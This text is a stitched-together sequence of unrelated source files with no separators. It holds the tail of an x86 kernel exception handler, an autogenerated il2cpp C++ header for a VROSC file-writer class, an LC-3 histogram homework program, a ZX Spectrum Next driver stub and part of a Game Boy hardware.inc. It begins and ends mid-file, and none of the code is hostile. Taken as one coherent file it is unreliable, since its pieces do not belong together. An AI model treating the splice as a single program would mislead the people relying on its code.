0xFFFFFFFF ; no err code push 4 ; vector_no = 4 jmp exception bounds_check: push 0xFFFFFFFF ; no err code push 5 ; vector_no = 5 jmp exception inval_opcode: push 0xFFFFFFFF ; no err code push 6 ; vector_no = 6 jmp exception copr_not_available: push 0xFFFFFFFF ; no err code push 7 ; vector_no = 7 jmp exception double_fault: push 8 ; vector_no = 8 jmp exception copr_seg_overrun: push 0xFFFFFFFF ; no err code push 9 ; vector_no = 9 jmp exception inval_tss: push 10 ; vector_no = A jmp exception segment_not_present: push 11 ; vector_no = B jmp exception stack_exception: push 12 ; vector_no = C jmp exception general_protection: push 13 ; vector_no = D jmp exception page_fault: push 14 ; vector_no = E jmp exception copr_error: push 0xFFFFFFFF ; no err code push 16 ; vector_no = 10h jmp exception exception: call exception_handler add esp, 4*2 ; 让栈顶指向 EIP,堆栈中从顶向下依次是:EIP、CS、EFLAGS hlt ; ==================================================================================== ; restart ; ==================================================================================== restart: mov esp, [p_proc_ready] lldt [esp + P_LDT_SEL] lea eax, [esp + P_STACKTOP] mov dword [tss + TSS3_S_SP0], eax pop gs pop fs pop es pop ds popad add esp, 4 iretd
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" #include "beatsaber-hook/shared/utils/byref.hpp" // Including type: VROSC.FileWriter #include "VROSC/FileWriter.hpp" // Including type: System.ValueType #include "System/ValueType.hpp" // Including type: System.Runtime.CompilerServices.IAsyncStateMachine #include "System/Runtime/CompilerServices/IAsyncStateMachine.hpp" // Including type: System.Runtime.CompilerServices.AsyncTaskMethodBuilder #include "System/Runtime/CompilerServices/AsyncTaskMethodBuilder.hpp" // Including type: VROSC.Error #include "VROSC/Error.hpp" // Including type: System.Runtime.CompilerServices.TaskAwaiter #include "System/Runtime/CompilerServices/TaskAwaiter.hpp" #include "beatsaber-hook/shared/utils/typedefs-string.hpp" // Completed includes // Begin forward declares // Forward declaring namespace: System namespace System { // Forward declaring type: Action`1<T> template<typename T> class Action_1; // Forward declaring type: Action class Action; } // Forward declaring namespace: System::IO namespace System::IO { // Forward declaring type: StreamWriter class StreamWriter; } // Completed forward declares #include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp" DEFINE_IL2CPP_ARG_TYPE(::VROSC::FileWriter::$SavePatchToFile$d__16, "VROSC", "FileWriter/<SavePatchToFile>d__16"); // Type namespace: VROSC namespace VROSC { // WARNING Size may be invalid! // Autogenerated type: VROSC.FileWriter/VROSC.<SavePatchToFile>d__16 // [TokenAttribute] Offset: FFFFFFFF // [CompilerGeneratedAttribute] Offset: FFFFFFFF struct FileWriter::$SavePatchToFile$d__16/*, public ::System::ValueType, public ::System::Runtime::CompilerServices::IAsyncStateMachine*/ { public: public: // public System.Int32 <>1__state // Size: 0x4 // Offset: 0x0 int $$1__state; // Field size check static_assert(sizeof(int) == 0x4); // public System.Runtime.CompilerServices.AsyncTaskMethodBuilder <>t__builder // Size: 0xFFFFFFFF // Offset: 0x8 ::System::Runtime::CompilerServices::AsyncTaskMethodBuilder $$t__builder; // public System.String folderName // Size: 0x8 // Offset: 0x20 ::StringW folderName; // Field size check static_assert(sizeof(::StringW) == 0x8); // public System.String fileName // Size: 0x8 // Offset: 0x28 ::StringW fileName; // Field size check static_assert(sizeof(::StringW) == 0x8); // public System.Action`1<VROSC.Error> onFailure // Size: 0x8 // Offset: 0x30 ::System::Action_1<::VROSC::Error>* onFailure; // Field size check static_assert(sizeof(::System::Action_1<::VROSC::Error>*) == 0x8); // public System.String text // Size: 0x8 // Offset: 0x38 ::StringW text; // Field size check static_assert(sizeof(::StringW) == 0x8); // public System.Action onSuccess // Size: 0x8 // Offset: 0x40 ::System::Action* onSuccess; // Field size check static_assert(sizeof(::System::Action*) == 0x8); // private System.IO.StreamWriter <sw>5__2 // Size: 0x8 // Offset: 0x48 ::System::IO::StreamWriter* $sw$5__2; // Field size check static_assert(sizeof(::System::IO::StreamWriter*) == 0x8); // private System.Runtime.CompilerServices.TaskAwaiter <>u__1 // Size: 0x8 // Offset: 0x50 ::System::Runtime::CompilerServices::TaskAwaiter $$u__1; // Field size check static_assert(sizeof(::System::Runtime::CompilerServices::TaskAwaiter) == 0x8); public: // Creating value type constructor for type: $SavePatchToFile$d__16 constexpr $SavePatchToFile$d__16(int $$1__state_ = {}, ::System::Runtime::CompilerServices::AsyncTaskMethodBuilder $$t__builder_ = {}, ::StringW folderName_ = {}, ::StringW fileName_ = {}, ::System::Action_1<::VROSC::Error>* onFailure_ = {}, ::StringW text_ = {}, ::System::Action* onSuccess_ = {}, ::System::IO::StreamWriter* $sw$5__2_ = {}, ::System::Runtime::CompilerServices::TaskAwaiter $$u__1_ = {}) noexcept : $$1__state{$$1__state_}, $$t__builder{$$t__builder_}, folderName{folderName_}, fileName{fileName_}, onFailure{onFailure_}, text{text_}, onSuccess{onSuccess_}, $sw$5__2{$sw$5__2_}, $$u__1{$$u__1_} {} // Creating interface conversion operator: operator ::System::ValueType operator ::System::ValueType() noexcept { return *reinterpret_cast<::System::ValueType*>(this); } // Creating interface conversion operator: operator ::System::Runtime::CompilerServices::IAsyncStateMachine operator ::System::Runtime::CompilerServices::IAsyncStateMachine() noexcept { return *reinterpret_cast<::System::Runtime::CompilerServices::IAsyncStateMachine*>(this); } // Get instance field reference: public System.Int32 <>1__state int& dyn_$$1__state(); // Get instance field reference: public System.Runtime.CompilerServices.AsyncTaskMethodBuilder <>t__builder ::System::Runtime::CompilerServices::AsyncTaskMethodBuilder& dyn_$$t__builder(); // Get instance field reference: public System.String folderName ::StringW& dyn_folderName(); // Get instance field reference: public System.String fileName ::StringW& dyn_fileName(); // Get instance field reference: public System.Action`1<VROSC.Error> onFailure ::System::Action_1<::VROSC::Error>*& dyn_onFailure(); // Get instance field reference: public System.String text ::StringW& dyn_text(); // Get instance field reference: public System.Action onSuccess ::System::Action*& dyn_onSuccess(); // Get instance field reference: private System.IO.StreamWriter <sw>5__2 ::System::IO::StreamWriter*& dyn_$sw$5__2(); // Get instance field reference: private System.Runtime.CompilerServices.TaskAwaiter <>u__1 ::System::Runtime::CompilerServices::TaskAwaiter& dyn_$$u__1(); // private System.Void MoveNext() // Offset: 0x13C82E4 void MoveNext(); // private System.Void SetStateMachine(System.Runtime.CompilerServices.IAsyncStateMachine stateMachine) // Offset: 0x13C896C void SetStateMachine(::System::Runtime::CompilerServices::IAsyncStateMachine* stateMachine); }; // VROSC.FileWriter/VROSC.<SavePatchToFile>d__16 // WARNING Not writing size check since size may be invalid! } #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" // Writing MetadataGetter for method: VROSC::FileWriter::$SavePatchToFile$d__16::MoveNext // Il2CppName: MoveNext template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (VROSC::FileWriter::$SavePatchToFile$d__16::*)()>(&VROSC::FileWriter::$SavePatchToFile$d__16::MoveNext)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(VROSC::FileWriter::$SavePatchToFile$d__16), "MoveNext", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: VROSC::FileWriter::$SavePatchToFile$d__16::SetStateMachine // Il2CppName: SetStateMachine template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (VROSC::FileWriter::$SavePatchToFile$d__16::*)(::System::Runtime::CompilerServices::IAsyncStateMachine*)>(&VROSC::FileWriter::$SavePatchToFile$d__16::SetStateMachine)> { static const MethodInfo* get() { static auto* stateMachine = &::il2cpp_utils::GetClassFromName("System.Runtime.CompilerServices", "IAsyncStateMachine")->byval_arg; return ::il2cpp_utils::FindMethod(classof(VROSC::FileWriter::$SavePatchToFile$d__16), "SetStateMachine", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{stateMachine}); } };
; ; The code given to you here implements the histogram calculation that ; we developed in class. In programming lab, we will add code that ; prints a number in hexadecimal to the monitor. ; ; Your assignment for this program is to combine these two pieces of ; code to print the histogram to the monitor. ; ; If you finish your program, ; ** commit a working version to your repository ** ; ** (and make a note of the repository version)! ** .ORIG x3000 ; starting address is x3000 ; ; Count the occurrences of each letter (A to Z) in an ASCII string ; terminated by a NUL character. Lower case and upper case should ; be counted together, and a count also kept of all non-alphabetic ; characters (not counting the terminal NUL). ; ; The string starts at x4000. ; ; The resulting histogram (which will NOT be initialized in advance) ; should be stored starting at x3F00, with the non-alphabetic count ; at x3F00, and the count for each letter in x3F01 (A) through x3F1A (Z). ; ; table of register use in this part of the code ; R0 holds a pointer to the histogram (x3F00) ; R1 holds a pointer to the current position in the string ; and as the loop count during histogram initialization ; R2 holds the current character being counted ; and is also used to point to the histogram entry ; R3 holds the additive inverse of ASCII '@' (xFFC0) aka #-64 ; R4 holds the difference between ASCII '@' and 'Z' (xFFE6), aka #-26 ; R5 holds the difference between ASCII '@' and '`' (xFFE0), aka #-32 ; R6 is used as a temporary register ; LD R0, HIST_ADDR ; point R0 to the start of the histogram ; fill the histogram with zeroes AND R6, R6, #0 ; put a zero into R6 LD R1, NUM_BINS ; initialize loop count to 27 ADD R2, R0, #0 ; copy start of histogram into R2 ; loop to fill histogram starts here HFLOOP STR R6, R2, #0 ; write a zero into histogram ADD R2, R2, #1 ; point to next histogram entry ADD R1, R1, #-1 ; decrement loop count BRp HFLOOP ; continue until loop count reaches zero ; initialize R1, R3, R4, and R5 from memory LD R3, NEG_AT ; set R3 to additive inverse of ASCII '@', #-64 LD R4, AT_MIN_Z ; set R4 to difference between ASCII '@' and 'Z', #-26 LD R5, AT_MIN_BQ ; set R5 to difference between ASCII '@' and '`', #-32 LD R1, STR_START ; point R1 to start of string ; the counting loop starts here COUNTLOOP LDR R2, R1, #0 ; read the next character from the string BRz PRINT_HIST ; found the end of the string ADD R2, R2, R3 ; subtract '@' from the character BRp AT_LEAST_A ; branch if > '@', i.e., >= 'A' NON_ALPHA LDR R6, R0, #0 ; load the non-alpha count ADD R6, R6, #1 ; add one to it STR R6, R0, #0 ; store the new non-alpha count BRnzp GET_NEXT ; branch to end of conditional structure AT_LEAST_A ADD R6, R2, R4 ; compare with 'Z' BRp MORE_THAN_Z ; branch if > 'Z' ; note that we no longer need the current character ; so we can reuse R2 for the pointer to the correct ; histogram entry for incrementing ALPHA ADD R2, R2, R0 ; point to correct histogram entry LDR R6, R2, #0 ; load the count ADD R6, R6, #1 ; add one to it STR R6, R2, #0 ; store the new count BRnzp GET_NEXT ; branch to end of conditional structure ; subtracting as below yields the original character minus '`' MORE_THAN_Z ADD R2, R2, R5 ; subtract '`' - '@' from the character BRnz NON_ALPHA ; if <= '`', i.e., < 'a', go increment non-alpha ADD R6, R2, R4 ; compare with 'z' BRnz ALPHA ; if <= 'z', go increment alpha count BRnzp NON_ALPHA ; otherwise, go increment non-alpha GET_NEXT ADD R1, R1, #1 ; point to next character in string BRnzp COUNTLOOP ; go to start of counting loop PRINT_HIST ; you will need to insert your code to print the histogram here ; do not forget to write a brief description of the approach/algorithm ; for your implementation, list registers used in this part of the code, ; and provide sufficient comments ; description: ; The program overall is a loop with 27 iterations. In every loop, my program will first print the character (like @, A, B...) orderly using the trap vector OUT, then print a ; space character, then print the 4-bit hex number one-by-one in four times. Finally my program will print a new line character and increase/decrease the address/counter and ; move to next iteration. When the 27 iterations is done, the lc3 will halt. To print the value of 4-bit hex number encoding with ascii code, I divide the 16-bit memory space ; into 4 parts. [15:12], [11:8], [7:4], [3:0], each represent a hex number. I using AND operation with xF000, x0F00, x00F0, x000F to get them independently. After that, I use ; the right shift respectively 12 times, 8 times, 4 times, 0 times to get the value of the first, second, third, fourth number. Right shift is namely devide by 2, and I use the ; minus 2 continuously controlled by a sub-loop to simulate the devision. Since I have calculated the values, I compared them with 9. Bigger than 9 means the char is a letter ; between A to F and I should add the ascii value of A-10 to it to print. Smaller means the char is a number and only need to add the ascii value of zero to print. I write four ; blocks codes to print the four characters in a loop. ; Registers Table ; R0 : hold the char to be printed by traped vector OUT ; R1 : stores the current processing hist's address ; R2 : serves as a counter with value 27 to control the loop ; R3 : stores the current processing symbol (@) or character (A-Z) 's ascii code to print ; R4 : used to store the value after right shift (devision by 2) and used to hold some parameters used in program, such as xF000 ; R5 : used as a counter to control the times to right shift and used to hold some parameters used in program, such as #48 ; R6 : hold the value in the current hist or the value after right shift operation temporily ; R7 : not used in the program LD R1, HIST_ADDR ; load the starting address of the histogram into register R1 LD R2, NUM_BINS ; load the number of bins to be print in R2, which will serve as an overall counter LD R3, AT ; load the ascii value of @ into R3, preparing for the coming printing PRINT_SYM ADD R0, R3, #0 ; load the ascii value of @ in R0 to print OUT ; print the char @ (A,B...in future loops) PRINT_SP LD R0, SPACE ; load the space character into R0 to print OUT ; print the space character LDR R6, R1, #0 ; load the value(the first bin's value) stored in R1's value as the address to R6 LD R4, FIRST ; load the xF000 to R4, preparing for the AND operation to get the [15;12] bits of the first bin's value AND R5, R5, #0 ; initialize the R5 register ADD R5, R5, #12 ; set R5=12, which will serve as a counter of the right shift operation(namely division by 2) AND R6, R6, R4 ; get the [15:12] bits of the first bin's value, which exactly is the value of the first char to be print SHIFT_ONE AND R4, R4, #0 ; initialize the R4 register ADD R4, R4, #-1 ; set R4=-1, which will store the value of the following division DEVIS_ONE ADD R4, R4, #1 ; R4=R4+1, a simulation of the division ADD R6, R6, #-2 ; simulate the division by continuously adding -2 BRzp DEVIS_ONE ; after -2, if the value still positive, then jump back for another minus ADD R6, R4, #0 ; after one division, we assign the value to R6 again for next right shift ADD R5, R5, #-1 ; minus 1 to the right shift counter BRp SHIFT_ONE ; if positive, it means the right shift is not done, so jump back for another right shift ADD R6, R4, #-9 ; compare the final answer to 9 BRp LET_ONE ; if bigger than 9, it means the char is a letter, jump to translate the letter to ascii code LD R5, ASCII_ZERO ; if not bigger than 9, the char is a number, so load the zero's ascii code to R5 ADD R0, R5, R4 ; add the zero's ascii code to the value we get, and we get its ascii code BRnzp PRINT_ONE ; under all circumstance jump to the print code LET_ONE LD R5, ASCII_A ; load A-10's ascii code to R5 ADD R0, R5, R4 ; add the A-10's ascii code to the value we get, and we now get its ascii code PRINT_ONE OUT ; print the first char LDR R6, R1, #0 ; load the value(the first bin's value) stored in R1's value as the address to R6 LD R4, SECOND ; load the x0F00 to R4, preparing for the AND operation to get the [11;8] bits of the first bin's value AND R5, R5, #0 ; initialize the R5 register ADD R5, R5, #8 ; set R5=8, which will serve as a counter of the right shift operation(namely division by 2) AND R6, R6, R4 ; get the [11:8] bits of the first bin's value, which exactly is the value of the second char to be print SHIFT_BI AND R4, R4, #0 ; initialize the R4 register ADD R4, R4, #-1 ; set R4=-1, which will store the value of the following division DEVIS_BI ADD R4, R4, #1 ; R4=R4+1, a simulation of the division ADD R6, R6, #-2 ; simulate the division by continuously adding -2 BRzp DEVIS_BI ; after -2, if the value still positive, then jump back for another minus ADD R6, R4, #0 ; after one division, we assign the value to R6 again for next right shift ADD R5, R5, #-1 ; minus 1 to the right shift counter BRp SHIFT_BI ; if positive, it means the right shift is not done, so jump back for another right shift ADD R6, R4, #-9 ; compare the final answer to 9 BRp LET_BI ; if bigger than 9, it means the char is a letter, jump to translate the letter to ascii code LD R5, ASCII_ZERO ; if not bigger than 9, the char is a number, so load the zero's ascii code to R5 ADD R0, R5, R4 ; add the zero's ascii code to the value we get, and we get its ascii code BRnzp PRINT_BI ; under all circumstance jump to the print code LET_BI LD R5, ASCII_A ; load A-10's ascii code to R5 ADD R0, R5, R4 ; add the A-10's ascii code to the value we get, and we now get its ascii code PRINT_BI OUT ; print the second char LDR R6, R1, #0 ; load the value(the first bin's value) stored in R1's value as the address to R6 LD R4, THIRD ; load the x00F0 to R4, preparing for the AND operation to get the [7;4] bits of the first bin's value AND R5, R5, #0 ; initialize the R5 register ADD R5, R5, #4 ; set R5=4, which will serve as a counter of the right shift operation(namely division by 2) AND R6, R6, R4 ; get the [7:4] bits of the first bin's value, which exactly is the value of the third char to be print SHIFT_TRI AND R4, R4, #0 ; initialize the R4 register ADD R4, R4, #-1 ; set R4=-1, which will store the value of the following division DEVIS_TRI ADD R4, R4, #1 ; R4=R4+1, a simulation of the division ADD R6, R6, #-2 ; simulate the division by continuously adding -2 BRzp DEVIS_TRI ; after -2, if the value still positive, then jump back for another minus ADD R6, R4, #0 ; after one division, we assign the value to R6 again for next right shift ADD R5, R5, #-1 ; minus 1 to the right shift counter BRp SHIFT_TRI ; if positive, it means the right shift is not done, so jump back for another right shift ADD R6, R4, #-9 ; compare the final answer to 9 BRp LET_TRI ; if bigger than 9, it means the char is a letter, jump to translate the letter to ascii code LD R5, ASCII_ZERO ; if not bigger than 9, the char is a number, so load the zero's ascii code to R5 ADD R0, R5, R4 ; add the zero's ascii code to the value we get, and we get its ascii code BRnzp PRINT_TRI ; under all circumstance jump to the print code LET_TRI LD R5, ASCII_A ; load A-10's ascii code to R5 ADD R0, R5, R4 ; add the A-10's ascii code to the value we get, and we now get its ascii code PRINT_TRI OUT ; print the third char LDR R6, R1, #0 ; load the value(the first bin's value) stored in R1's value as the address to R6 LD R4, FOURTH ; load the x000F to R4, preparing for the AND operation to get the [3;0] bits of the first bin's value AND R4, R6, R4 ; get the [3:0] bits of the first bin's value, which exactly is the value of the fourth char to be print ADD R6, R4, #-9 ; compare the value to 9 BRp LET_QUAD ; if bigger than 9, it means the char is a letter, jump to translate the letter to ascii code LD R5, ASCII_ZERO ; if not bigger than 9, the char is a number, so load the zero's ascii code to R5 ADD R0, R5, R4 ; add the zero's ascii code to the value we get, and we get its ascii code BRnzp PRINT_QUAD ; under all circumstance jump to the print code LET_QUAD LD R5, ASCII_A ; load A-10's ascii code to R5 ADD R0, R5, R4 ; add the A-10's ascii code to the value we get, and we now get its ascii code PRINT_QUAD OUT ; print the fourth char LD R0, NEW_LINE ; load the new line character into R0 to print OUT ; print the new line character ADD R1, R1, #1 ; at the end of the loop we increment the R1 by 1 to print the next address ADD R3, R3, #1 ; at the end of the loop we increment the R3 by 1 to print the next letter character ADD R2, R2, #-1 ; at the end of the loop we decrease the counter R2 by 1 BRp PRINT_SYM ; if R2 is still positive, it means the loop is not done and should be jump to the beginning of the loop -- PRINT_SYM BRnzp DONE ; if not, it means the loop is over and should be jump to HALT under any circumstance FIRST .FILL xF000 ; used to get the [15:12] bits of a bit's value SECOND .FILL x0F00 ; used to get the [11:8] bits of a bit's value THIRD .FILL x00F0 ; used to get the [7:4] bits of a bit's value FOURTH .FILL x000F ; used to get the [3:0] bits of a bit's value AT .FILL #64 ; the ascii code of char @ NEW_LINE .FILL #10 ; the ascii code of new line character SPACE .FILL #32 ; the ascii code of space character ASCII_ZERO .FILL #48 ; the ascii code of char 0 ASCII_A .FILL #55 ; the ascii code of char "A-10" DONE HALT ; done ; the data needed by the program NUM_BINS .FILL #27 ; 27 loop iterations NEG_AT .FILL xFFC0 ; the additive inverse of ASCII '@', aka #-64 AT_MIN_Z .FILL xFFE6 ; the difference between ASCII '@', and 'Z' aka #-26 AT_MIN_BQ .FILL xFFE0 ; the difference between ASCII '@', and '`' aka #-32 HIST_ADDR .FILL x3F00 ; histogram starting address STR_START .FILL x4000 ; string starting address ; for testing, you can use the lines below to include the string in this ; program... ; STR_START .FILL STRING ; string starting address ; STRING .STRINGZ "This is a test of the counting frequency code. AbCd...WxYz." ; the directive below tells the assembler that the program is done ; (so do not write any code below it!) .END
DEVICE ZXSPECTRUMNEXT ORG $0000 ; ************************************************************** ; * API ; - 0: set bank id ; - 1: set effect ; ************************************************************** api_entry: jr ayfx_api nop ; At $0003 is the entry point for the interrupt handler. This will only be ; called if bit 7 of the driver id byte has been set in your .DRV file, so ; need not be implemented otherwise. im1_entry: reloc_1: ld a,(value1) add a,a jr z,skip reloc_2: call rotate skip: ret ayfx_api: djnz bnot1 ; On if B<>1 ; B=1: set values. ld a, e reloc_3: ld (value1),a and a ; clear carry to indicate success ret bnot1: api_error: xor a ; A=0, unsupported call id scf ; Fc=1, signals error ret rotate: reloc_4: ld a, (value1) and $07 inc a reloc_5: ld (value1),a out (254),a ret ; ************************************************************** ; Backup and restore whatever is in MMU6 ; ; uses: a, bc ; ************************************************************** backup_bank: ld bc,$243b ; select NEXT register ld a, $56 out (c),a inc b ; $253b to access (read or write) value in b,(c) push bc ret restore_bank: pop bc ld a, b nextreg $56, a ret ; ************************************************************** ; * data ; ************************************************************** value1: defb 0 IF $ > 512 DISPLAY "Driver code exceeds 512 bytes" shellexec "exit", "1" ; couldn't work out how to error ¯\_(ツ)_/¯ ELSE defs 512-$ ENDIF reloc_start: defw reloc_1+2 defw reloc_2+2 defw reloc_3+2 defw reloc_4+2 defw reloc_5+2 reloc_end:
;* ;* Gameboy Hardware definitions ;* ;* Based on Jones' hardware.inc ;* And based on Carsten Sorensen's ideas. ;* ;* Rev 1.1 - 15-Jul-97 : Added define check ;* Rev 1.2 - 18-Jul-97 : Added revision check macro ;* Rev 1.3 - 19-Jul-97 : Modified for RGBASM V1.05 ;* Rev 1.4 - 27-Jul-97 : Modified for new subroutine prefixes ;* Rev 1.5 - 15-Aug-97 : Added _HRAM, PAD, CART defines ;* : and Nintendo Logo ;* Rev 1.6 - 30-Nov-97 : Added rDIV, rTIMA, rTMA, & rTAC ;* Rev 1.7 - 31-Jan-98 : Added _SCRN0, _SCRN1 ;* Rev 1.8 - 15-Feb-98 : Added rSB, rSC ;* Rev 1.9 - 16-Feb-98 : Converted I/O registers to $FFXX format ;* Rev 2.0 - : Added GBC registers ;* Rev 2.1 - : Added MBC5 & cart RAM enable/disable defines ;* Rev 2.2 - : Fixed NR42,NR43, & NR44 equates ;* Rev 2.3 - : Fixed incorrect _HRAM equate ; If all of these are already defined, don't do it again. IF !DEF(HARDWARE_INC) HARDWARE_INC SET 1 rev_Check_hardware_inc: MACRO ;NOTE: REVISION NUMBER CHANGES MUST BE ADDED ;TO SECOND PARAMETER IN FOLLOWING LINE. IF \1 > 2.2 ;PUT REVISION NUMBER HERE WARN "Version \1 or later of 'hardware.inc' is required." ENDC ENDM _HW EQU $FF00 _VRAM EQU $8000 ; $8000->$A000 _SCRN0 EQU $9800 ; $9800->$9BFF _SCRN1 EQU $9C00 ; $9C00->$9FFF _RAM EQU $C000 ; $C000->$E000 _OAMRAM EQU $FE00 ; $FE00->$FE9F _AUD3WAVERAM EQU $FF30 ; $FF30->$FF3F _HRAM EQU $FF80 ; $FF80->$FFFE ; *** MBC5 Equates *** rRAMG EQU $0000 ; $0000->$1fff rROMB0 EQU $2000 ; $2000->$2fff rROMB1 EQU $3000 ; $3000->$3fff rRAMB EQU $4000 ; $4000->$5fff ; -- ; -- OAM flags ; -- OAMF_PRI EQU %10000000 ; Priority OAMF_YFLIP EQU %01000000 ; Y flip OAMF_XFLIP EQU %00100000 ; X flip OAMF_PAL0 EQU %00000000 ; Palette number; 0,1 OAMF_PAL1 EQU %00010000 ; Palette number; 0,1 ;*************************************************************************** ;* ;* Custom registers ;* ;*************************************************************************** ; -- ; -- P1 ($FF00) ; -- Register for reading joy pad info. (R/W) ; -- rP1 EQU $FF00 P1F_5 EQU %00100000 ; P15 out port P1F_4 EQU %00010000 ; P14 out port P1F_3 EQU %00001000 ; P13 in port P1F_2 EQU %00000100 ; P12 in port P1F_1 EQU %00000010 ; P11 in port P1F_0 EQU %00000001 ; P10 in port ; -- ; -- SB ($FF01) ; -- Serial Transfer Data (R/W) ; -- rSB EQU $FF01 ; -- ; -- SC ($FF02) ; -- Serial I/O Control (R/W) ; -- rSC EQU $FF02 ; -- ; -- DIV ($FF04) ; -- Divider register (R/W) ; -- rDIV EQU $FF04 ; -- ; -- TIMA ($FF05) ; -- Timer counter (R/W) ; -- rTIMA EQU $FF05 ; -- ; -- TMA ($FF06) ; -- Timer modulo (R/W) ; -- rTMA EQU $FF06 ; -- ; -- TAC ($FF07) ; -- Timer control (R/W) ; -- rTAC EQU $FF07 TACF_START EQU %00000100 TACF_STOP EQU %00000000 TACF_4KHZ EQU %00000000 TACF_16KHZ EQU %00000011 TACF_65KHZ EQU %00000010 TACF_262KHZ EQU %00000001 ; -- ; -- IF ($FF0F) ; -- Interrupt Flag (R/W) ; -- rIF EQU $FF0F ; -- ; -- LCDC ($FF40) ; -- LCD Control (R/W) ; -- rLCDC EQU $FF40 LCDCF_OFF EQU %00000000 ; LCD Control Operation LCDCF_ON EQU %10000000 ; LCD Control Operation LCDCF_WIN9800 EQU %00000000 ; Window Tile Map Display Select LCDCF_WIN9C00 EQU %01000000 ; Window Tile Map Display Select LCDCF_WINOFF EQU %00000000 ; Window Display LCDCF_WINON EQU %00100000 ; Window Display LCDCF_BG8800 EQU %00000000 ; BG & Window Tile Data Select LCDCF_BG8000 EQU %00010000 ; BG & Window Tile Data Select LCDCF_BG9800 EQU %00000000 ; BG Tile Map Display Select LCDCF_BG9C00 EQU %00001000 ; BG Tile Map Display Select LCDCF_OBJ8 EQU %00000000 ; OBJ Construction LCDCF_OBJ16 EQU %00000100 ; OBJ Construction LCDCF_OBJOFF EQU %00000000 ; OBJ Display LCDCF_OBJON EQU %00000010 ; OBJ Display LCDCF_BGOFF EQU %00000000 ; BG Display LCDCF_BGON EQU %00000001 ; BG Display ; "Window Character Data Select" follows BG ; -- ; -- STAT ($FF41) ; -- LCDC Status (R/W) ; -- rSTAT EQU $FF41 STATF_LYC EQU %01000000 ; LYCEQULY Coincidence (Selectable) STATF_MODE10 EQU %00100000 ; Mode 10 STATF_MODE01 EQU %00010000 ; Mode 01 (V-Blank) STATF_MODE00 EQU %00001000 ; Mode 00 (H-Blank) STATF_LYCF EQU %00000100 ; Coincidence Flag STATF_HB EQU %00000000 ; H-Blank STATF_VB EQU %00000001 ; V-Blank STATF_OAM EQU %00000010 ; OAM-RAM is used by system STATF_LCD EQU %00000011 ; Both OAM and VRAM used by system STATF_BUSY EQU %00000010 ; When set, VRAM access is unsafe ; -- ; -- SCY ($FF42) ; -- Scroll Y (R/W) ; -- rSCY EQU $FF42 ; -- ; -- SCY ($FF43) ; -- Scroll X (R/W) ; -- rSCX EQU $FF43 ; -- ; -- LY ($FF44) ; -- LCDC Y-Coordinate (R) ; -- ; -- Values range from 0->153. 144->153 is the VBlank period. ; -- rLY EQU $FF44 ; -- ; -- LYC ($FF45) ; -- LY Compare (R/W) ; -- ; -- When LYEQUEQULYC, STATF_LYCF will be set in STAT ; -- rLYC EQU $FF45 ; -- ; -- DMA ($FF46) ; -- DMA Transfer and Start Address (W) ; -- rDMA EQU $FF46 ; -- ; -- BGP ($FF47) ; -- BG Palette Data (W) ; -- ; -- Bit 7-6 - Intensity for %11 ; -- Bit 5-4 - Intensity for %10 ; -- Bit 3-2 - Intensity for %01 ; -- Bit 1-0 - Intensity for %00 ; -- rBGP EQU $FF47 ; -- ; -- OBP0 ($FF48) ; -- Object Palette 0 Data (W) ; -- ; -- See BGP for info ; -- rOBP0 EQU $FF48 ; -- ; -- OBP1 ($FF49) ; -- Object Palette 1 Data (W) ; -- ; -- See BGP for info ; -- rOBP1 EQU $FF49 ; -- ; -- WY ($FF4A) ; -- Window Y Position (R/W) ; -- ; -- 0 <EQU WY <EQU 143 ; -- rWY EQU $FF4A ; -- ; -- WX ($FF4B) ; -- Window X Position (R/W) ; -- ; -- 7 <EQU WX <EQU 166 ; -- rWX EQU $FF4B ; -- ; -- KEY 1 ($FF4D) ; -- Select CPU Speed (R/W) ; -- rKEY1 EQU $FF4D ; -- ; -- VBK ($FF4F) ; -- Select Video RAM Bank (R/W) ; -- rVBK EQU $FF4F ; -- ; -- HDMA1 ($FF51) ; -- Horizontal Blanking, General Purpose DMA (W) ; -- rHDMA1 EQU $FF51 ; -- ; -- HDMA2 ($FF52) ; -- Horizontal Blanking, General Purpose DMA (W) ; -- rHDMA2 EQU $FF52 ; -- ; -- HDMA3 ($FF53) ; -- Horizontal Blanking, General Purpose DMA (W) ; -- rHDMA3 EQU $FF53 ; -- ; -- HDMA4 ($FF54) ; -- Horizontal Blanking, General Purpose DMA (W) ; -- rHDMA4 EQU $FF54 ; -- ; -- HDMA5 ($FF55) ; -- Horizontal Blanking, General Purpose DMA (R/W) ; -- rHDMA5 EQU $FF55 ; -- ; -- RP ($FF56) ; -- Infrared Communications Port (R/W) ; -- rRP EQU $FF56 ; -- ; -- BCPS ($FF68) ; -- Background Color Palette Specification (R/W) ; -- rBCPS EQU $FF68 ; -- ; -- BCPD ($FF69) ; -- Background Color Palette Data (R/W) ; -- rBCPD EQU $FF69 ; -- ; -- BCPS ($FF6A) ; -- Object Color Palette Specification (R/W) ; -- rOCPS EQU $FF6A ; -- ; -- BCPD ($FF6B) ; -- Object Color Palette Data (R/W) ; -- rOCPD EQU $FF6B ; -- ; -- SVBK ($FF4F) ; -- Select Main RAM Bank (R/W) ; -- rSVBK EQU $FF70 ; -- ; -- IE ($FFFF) ; -- Interrupt Enable (R/W) ; -- rIE EQU $FFFF IEF_HILO EQU %00010000 ; Transition from High to Low of Pin number P10-P13 IEF_SERIAL EQU %00001000 ; Serial I/O transfer end IEF_TIMER EQU %00000100 ; Timer Overflow IEF_LCDC EQU %00000010 ; LCDC (see STAT) IEF_VBLANK EQU %00000001 ; V-Blank ;*************************************************************************** ;* ;* Sound control registers ;* ;*************************************************************************** ; -- ; -- AUDVOL/NR50 ($FF24) ; -- Channel control / ON-OFF / Volume (R/W) ; -- ; -- Bit 7 - Vin->SO2 ON/OFF (Vin??) ; -- Bit 6-4 - SO2 output level (volume) (# 0-7) ; -- Bit 3 - Vin->SO1 ON/OFF (Vin??) ; -- Bit 2-0 - SO1 output level (volume) (# 0-7) ; -- rNR50 EQU $FF24 rAUDVOL EQU rNR50 ; -- ; -- AUDTERM/NR51 ($FF25) ; -- 